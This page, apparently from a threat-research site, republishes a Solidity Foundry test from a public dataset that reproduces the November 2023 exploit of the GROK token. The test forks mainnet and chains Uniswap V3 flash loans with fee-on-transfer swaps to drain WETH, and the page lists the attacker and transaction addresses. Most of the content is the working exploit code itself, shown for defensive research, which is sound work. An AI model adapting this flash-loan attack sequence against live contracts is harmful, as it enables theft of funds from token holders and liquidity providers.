Skip to content
THREATWIRE

Public reproduction file

src/test/2023-11/grok_exp.sol

Public reproduction file for dataset entry grok.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-11/grok_exp.sol81 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~26 ETH
8// Attacker : https://etherscan.io/address/0x864e656c57a5a119f332c47326a35422294db5c9
9// Attack Contract : https://etherscan.io/address/0x03e7b13bcd9b8383f403696c1494845560607eca
10// Vuln Contract : https://etherscan.io/address/0x8390a1DA07E376ef7aDd4Be859BA74Fb83aA02D5
11// Attack Tx : https://explorer.phalcon.xyz/tx/eth/0x3e9bcee951cdad84805e0c82d2a1e982e71f2ec301a1cbd344c832e0acaee813?line=136
13// @Analysis
14// https://twitter.com/Phalcon_xyz/status/1722841076120130020
16contract ContractTest is Test {
17 Uni_Router_V2 router_v2 = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
18 Uni_Router_V3 router_v3 = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);
19 IERC20 grok = IERC20(0x8390a1DA07E376ef7aDd4Be859BA74Fb83aA02D5);
20 IERC20 weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
21 Uni_Pair_V3 wethpair = Uni_Pair_V3(0x109830a1AAaD605BbF02a9dFA7B0B92EC2FB7dAa);
22 Uni_Pair_V3 pair = Uni_Pair_V3(0x66bA59cBD09E75B209D1D7E8Cf97f4Ab34DA413B);
24 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
26 function setUp() public {
27 vm.createSelectFork("mainnet", 18_538_679 - 1);
28 cheats.label(address(weth), "WETH");
29 }
31 function testExpolit() public {
32 emit log_named_decimal_uint("attaker balance before attack:", weth.balanceOf(address(this)), weth.decimals());
33 wethpair.flash(address(this), 0, 30_000_000_000_000_000_000, new bytes(1));
34 emit log_named_decimal_uint("attaker balance after attack:", weth.balanceOf(address(this)), weth.decimals());
35 }
37 function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {
38 if (msg.sender == address(wethpair)) {
39 pair.flash(address(this), 63_433_590_767_572_373, 0, new bytes(1));
40 grok.approve(address(router_v3), grok.balanceOf(address(this)));
41 router_v3.exactInputSingle(
42 Uni_Router_V3.ExactInputSingleParams({
43 tokenIn: address(grok),
44 tokenOut: address(weth),
45 fee: 10_000,
46 recipient: address(this),
47 deadline: block.timestamp + 100,
48 amountIn: grok.balanceOf(address(this)),
49 amountOutMinimum: 30 ether,
50 sqrtPriceLimitX96: 0
51 })
52 );
53 weth.transfer(address(wethpair), 30 ether + uint256(amount1));
54 } else {
55 weth.approve(address(router_v2), type(uint256).max);
56 grok.approve(address(router_v2), type(uint256).max);
57 grok.approve(address(router_v3), type(uint256).max);
58 //first step
59 address[] memory path = new address[](2);
60 path[0] = address(grok);
61 path[1] = address(weth);
62 router_v2.swapExactTokensForTokensSupportingFeeOnTransferTokens(
63 30_695_631_768_482_954, 0, path, address(this), block.timestamp + 100
64 );
65 grok.transfer(address(grok), 2_737_958_999_089_419);
66 router_v2.swapExactTokensForTokensSupportingFeeOnTransferTokens(
67 30_000_000_000_000_000, 0, path, address(this), block.timestamp + 100
68 );
69 path[0] = address(weth);
70 path[1] = address(grok);
71 router_v2.swapTokensForExactTokens(
72 64_067_926_675_248_097, weth.balanceOf(address(this)), path, address(this), block.timestamp + 100
73 );
74 grok.transfer(address(pair), grok.balanceOf(address(this)));
75 //second step
76 router_v2.swapExactTokensForTokensSupportingFeeOnTransferTokens(
77 30_000_000_000_000_000_000, 0, path, address(this), block.timestamp + 100
78 );
79 }
80 }

Analysis

Dataset entry

Public Foundry test for “grok” (2023-11-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x864e656c57a5a119f332c47326a35422294db5c9

  • Attack Contract

    0x03e7b13bcd9b8383f403696c1494845560607eca

  • Attack Tx

    0x3e9bcee951cdad84805e0c82d2a1e982e71f2ec301a1cbd344c832e0acaee813

File record

Name
grok
Path
src/test/2023-11/grok_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
c2bf1edb3a6c1cd447663449c6de08adbab254ba
Language
Solidity
Size
82 lines
Date
2023-11-10
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-11/grok_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob c2bf1edb3a6c1cd447663449c6de08adbab254ba, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.